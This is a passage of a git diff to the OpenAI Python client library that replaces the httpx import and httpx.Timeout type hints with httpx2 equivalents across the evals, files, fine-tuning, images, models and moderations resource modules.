extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> EvalDeleteResponse:
"""
Delete an evaluation.
diff --git a/src/openai/resources/evals/runs/output_items.py b/src/openai/resources/evals/runs/output_items.py
index aac2c11e55..4a26ccf26c 100644
--- a/src/openai/resources/evals/runs/output_items.py
+++ b/src/openai/resources/evals/runs/output_items.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -54,7 +54,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OutputItemRetrieveResponse:
"""
Get an evaluation run output item by ID.
@@ -105,7 +105,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[OutputItemListResponse]:
"""
Get a list of output items for an evaluation run.
@@ -189,7 +189,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OutputItemRetrieveResponse:
"""
Get an evaluation run output item by ID.
@@ -240,7 +240,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[OutputItemListResponse, AsyncCursorPage[OutputItemListResponse]]:
"""
Get a list of output items for an evaluation run.
diff --git a/src/openai/resources/evals/runs/runs.py b/src/openai/resources/evals/runs/runs.py
index c848df91d4..f57db15977 100644
--- a/src/openai/resources/evals/runs/runs.py
+++ b/src/openai/resources/evals/runs/runs.py
@@ -5,7 +5,7 @@
from typing import Optional
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -73,7 +73,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RunCreateResponse:
"""
Kicks off a new run for a given evaluation, specifying the data source, and what
@@ -132,7 +132,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RunRetrieveResponse:
"""
Get an evaluation run by ID.
@@ -175,7 +175,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[RunListResponse]:
"""
Get a list of runs for an evaluation.
@@ -233,7 +233,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RunDeleteResponse:
"""
Delete an eval run.
@@ -273,7 +273,7 @@ def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RunCancelResponse:
"""
Cancel an ongoing evaluation run.
@@ -343,7 +343,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RunCreateResponse:
"""
Kicks off a new run for a given evaluation, specifying the data source, and what
@@ -402,7 +402,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RunRetrieveResponse:
"""
Get an evaluation run by ID.
@@ -445,7 +445,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[RunListResponse, AsyncCursorPage[RunListResponse]]:
"""
Get a list of runs for an evaluation.
@@ -503,7 +503,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RunDeleteResponse:
"""
Delete an eval run.
@@ -543,7 +543,7 @@ async def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RunCancelResponse:
"""
Cancel an ongoing evaluation run.
diff --git a/src/openai/resources/files.py b/src/openai/resources/files.py
index 74b4d1c06a..19db280256 100644
--- a/src/openai/resources/files.py
+++ b/src/openai/resources/files.py
@@ -7,7 +7,7 @@
from typing import Mapping, cast
from typing_extensions import Literal
-import httpx
+import httpx2
from .. import _legacy_response
from ..types import FilePurpose, file_list_params, file_create_params
@@ -68,7 +68,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FileObject:
"""Upload a file that can be used across various endpoints.
@@ -160,7 +160,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FileObject:
"""
Returns information about a specific file.
@@ -200,7 +200,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[FileObject]:
"""Returns a list of files.
@@ -259,7 +259,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FileDeleted:
"""
Delete a file and remove it from all vector stores.
@@ -296,7 +296,7 @@ def content(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
"""
Returns the contents of the specified file.
@@ -335,7 +335,7 @@ def retrieve_content(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> str:
"""
Returns the contents of the specified file.
@@ -422,7 +422,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FileObject:
"""Upload a file that can be used across various endpoints.
@@ -514,7 +514,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FileObject:
"""
Returns information about a specific file.
@@ -554,7 +554,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[FileObject, AsyncCursorPage[FileObject]]:
"""Returns a list of files.
@@ -613,7 +613,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FileDeleted:
"""
Delete a file and remove it from all vector stores.
@@ -650,7 +650,7 @@ async def content(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
"""
Returns the contents of the specified file.
@@ -689,7 +689,7 @@ async def retrieve_content(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> str:
"""
Returns the contents of the specified file.
diff --git a/src/openai/resources/fine_tuning/alpha/graders.py b/src/openai/resources/fine_tuning/alpha/graders.py
index dd31605843..d7fa11ec50 100644
--- a/src/openai/resources/fine_tuning/alpha/graders.py
+++ b/src/openai/resources/fine_tuning/alpha/graders.py
@@ -2,7 +2,7 @@
from __future__ import annotations
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -51,7 +51,7 @@ def run(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> GraderRunResponse:
"""
Run a grader.
@@ -106,7 +106,7 @@ def validate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> GraderValidateResponse:
"""
Validate a grader.
@@ -169,7 +169,7 @@ async def run(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> GraderRunResponse:
"""
Run a grader.
@@ -224,7 +224,7 @@ async def validate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> GraderValidateResponse:
"""
Validate a grader.
diff --git a/src/openai/resources/fine_tuning/checkpoints/permissions.py b/src/openai/resources/fine_tuning/checkpoints/permissions.py
index 8337362ba8..7ac669da31 100644
--- a/src/openai/resources/fine_tuning/checkpoints/permissions.py
+++ b/src/openai/resources/fine_tuning/checkpoints/permissions.py
@@ -5,7 +5,7 @@
import typing_extensions
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, SequenceNotStr, omit, not_given
@@ -60,7 +60,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncPage[PermissionCreateResponse]:
"""
**NOTE:** Calling this endpoint requires an [admin API key](../admin-api-keys).
@@ -115,7 +115,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> PermissionRetrieveResponse:
"""
**NOTE:** This endpoint requires an [admin API key](../admin-api-keys).
@@ -181,7 +181,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[PermissionListResponse]:
"""
**NOTE:** This endpoint requires an [admin API key](../admin-api-keys).
@@ -245,7 +245,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> PermissionDeleteResponse:
"""
**NOTE:** This endpoint requires an [admin API key](../admin-api-keys).
@@ -317,7 +317,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[PermissionCreateResponse, AsyncPage[PermissionCreateResponse]]:
"""
**NOTE:** Calling this endpoint requires an [admin API key](../admin-api-keys).
@@ -372,7 +372,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> PermissionRetrieveResponse:
"""
**NOTE:** This endpoint requires an [admin API key](../admin-api-keys).
@@ -438,7 +438,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[PermissionListResponse, AsyncConversationCursorPage[PermissionListResponse]]:
"""
**NOTE:** This endpoint requires an [admin API key](../admin-api-keys).
@@ -502,7 +502,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> PermissionDeleteResponse:
"""
**NOTE:** This endpoint requires an [admin API key](../admin-api-keys).
diff --git a/src/openai/resources/fine_tuning/jobs/checkpoints.py b/src/openai/resources/fine_tuning/jobs/checkpoints.py
index 49dd593287..2476b66014 100644
--- a/src/openai/resources/fine_tuning/jobs/checkpoints.py
+++ b/src/openai/resources/fine_tuning/jobs/checkpoints.py
@@ -2,7 +2,7 @@
from __future__ import annotations
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -54,7 +54,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[FineTuningJobCheckpoint]:
"""
List checkpoints for a fine-tuning job.
@@ -128,7 +128,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[FineTuningJobCheckpoint, AsyncCursorPage[FineTuningJobCheckpoint]]:
"""
List checkpoints for a fine-tuning job.
diff --git a/src/openai/resources/fine_tuning/jobs/jobs.py b/src/openai/resources/fine_tuning/jobs/jobs.py
index ef6e54bed0..a6046cdd0f 100644
--- a/src/openai/resources/fine_tuning/jobs/jobs.py
+++ b/src/openai/resources/fine_tuning/jobs/jobs.py
@@ -5,7 +5,7 @@
from typing import Dict, Union, Iterable, Optional
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -78,7 +78,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FineTuningJob:
"""
Creates a fine-tuning job which begins the process of creating a new model from
@@ -193,7 +193,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FineTuningJob:
"""
Get info about a fine-tuning job.
@@ -234,7 +234,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[FineTuningJob]:
"""
List your organization's fine-tuning jobs
@@ -285,7 +285,7 @@ def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FineTuningJob:
"""
Immediately cancel a fine-tune job.
@@ -324,7 +324,7 @@ def list_events(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[FineTuningJobEvent]:
"""
Get status updates for a fine-tuning job.
@@ -373,7 +373,7 @@ def pause(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FineTuningJob:
"""
Pause a fine-tune job.
@@ -410,7 +410,7 @@ def resume(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FineTuningJob:
"""
Resume a fine-tune job.
@@ -483,7 +483,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FineTuningJob:
"""
Creates a fine-tuning job which begins the process of creating a new model from
@@ -598,7 +598,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FineTuningJob:
"""
Get info about a fine-tuning job.
@@ -639,7 +639,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[FineTuningJob, AsyncCursorPage[FineTuningJob]]:
"""
List your organization's fine-tuning jobs
@@ -690,7 +690,7 @@ async def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FineTuningJob:
"""
Immediately cancel a fine-tune job.
@@ -729,7 +729,7 @@ def list_events(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[FineTuningJobEvent, AsyncCursorPage[FineTuningJobEvent]]:
"""
Get status updates for a fine-tuning job.
@@ -778,7 +778,7 @@ async def pause(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FineTuningJob:
"""
Pause a fine-tune job.
@@ -815,7 +815,7 @@ async def resume(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> FineTuningJob:
"""
Resume a fine-tune job.
diff --git a/src/openai/resources/images.py b/src/openai/resources/images.py
index d4bcbcafba..e0aad166fc 100644
--- a/src/openai/resources/images.py
+++ b/src/openai/resources/images.py
@@ -5,7 +5,7 @@
from typing import Union, Mapping, Optional, cast
from typing_extensions import Literal, overload
-import httpx
+import httpx2
from .. import _legacy_response
from ..types import image_edit_params, image_generate_params, image_create_variation_params
@@ -61,7 +61,7 @@ def create_variation(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ImagesResponse:
"""Creates a variation of a given image.
@@ -150,7 +150,7 @@ def edit(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ImagesResponse:
"""Creates an edited or extended image given one or more source images and a
prompt.
@@ -280,7 +280,7 @@ def edit(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Stream[ImageEditStreamEvent]:
"""Creates an edited or extended image given one or more source images and a
prompt.
@@ -410,7 +410,7 @@ def edit(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ImagesResponse | Stream[ImageEditStreamEvent]:
"""Creates an edited or extended image given one or more source images and a
prompt.
@@ -540,7 +540,7 @@ def edit(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ImagesResponse | Stream[ImageEditStreamEvent]:
body = deepcopy_with_paths(
{
@@ -614,7 +614,7 @@ def generate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ImagesResponse:
"""
Creates an image given a prompt.
@@ -740,7 +740,7 @@ def generate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Stream[ImageGenStreamEvent]:
"""
Creates an image given a prompt.
@@ -866,7 +866,7 @@ def generate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ImagesResponse | Stream[ImageGenStreamEvent]:
"""
Creates an image given a prompt.
@@ -992,7 +992,7 @@ def generate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ImagesResponse | Stream[ImageGenStreamEvent]:
return self._post(
"/images/generations",
@@ -1066,7 +1066,7 @@ async def create_variation(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ImagesResponse:
"""Creates a variation of a given image.
@@ -1155,7 +1155,7 @@ async def edit(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ImagesResponse:
"""Creates an edited or extended image given one or more source images and a
prompt.
@@ -1285,7 +1285,7 @@ async def edit(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncStream[ImageEditStreamEvent]:
"""Creates an edited or extended image given one or more source images and a
prompt.
@@ -1415,7 +1415,7 @@ async def edit(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ImagesResponse | AsyncStream[ImageEditStreamEvent]:
"""Creates an edited or extended image given one or more source images and a
prompt.
@@ -1545,7 +1545,7 @@ async def edit(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ImagesResponse | AsyncStream[ImageEditStreamEvent]:
body = deepcopy_with_paths(
{
@@ -1619,7 +1619,7 @@ async def generate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ImagesResponse:
"""
Creates an image given a prompt.
@@ -1745,7 +1745,7 @@ async def generate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncStream[ImageGenStreamEvent]:
"""
Creates an image given a prompt.
@@ -1871,7 +1871,7 @@ async def generate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ImagesResponse | AsyncStream[ImageGenStreamEvent]:
"""
Creates an image given a prompt.
@@ -1997,7 +1997,7 @@ async def generate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ImagesResponse | AsyncStream[ImageGenStreamEvent]:
return await self._post(
"/images/generations",
diff --git a/src/openai/resources/models.py b/src/openai/resources/models.py
index acd55efbed..41152fb91f 100644
--- a/src/openai/resources/models.py
+++ b/src/openai/resources/models.py
@@ -2,7 +2,7 @@
from __future__ import annotations
-import httpx
+import httpx2
from .. import _legacy_response
from .._types import Body, Query, Headers, NotGiven, not_given
@@ -52,7 +52,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Model:
"""
Retrieves a model instance, providing basic information about the model such as
@@ -89,7 +89,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncPage[Model]:
"""
Lists the currently available models, and provides basic information about each
@@ -117,7 +117,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ModelDeleted:
"""Delete a fine-tuned model.
@@ -179,7 +179,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Model:
"""
Retrieves a model instance, providing basic information about the model such as
@@ -216,7 +216,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[Model, AsyncPage[Model]]:
"""
Lists the currently available models, and provides basic information about each
@@ -244,7 +244,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ModelDeleted:
"""Delete a fine-tuned model.
diff --git a/src/openai/resources/moderations.py b/src/openai/resources/moderations.py
index 35eec47206..b29de575f2 100644
--- a/src/openai/resources/moderations.py
+++ b/src/openai/resources/moderations.py
@@ -4,7 +4,7 @@
from typing import Union, Iterable
-import httpx
+import httpx2
from .. import _legacy_response
from ..types import moderation_create_params
@@ -55,7 +55,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ModerationCreateResponse:
"""Classifies if text and/or image inputs are potentially harmful.
@@ -133,7 +133,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
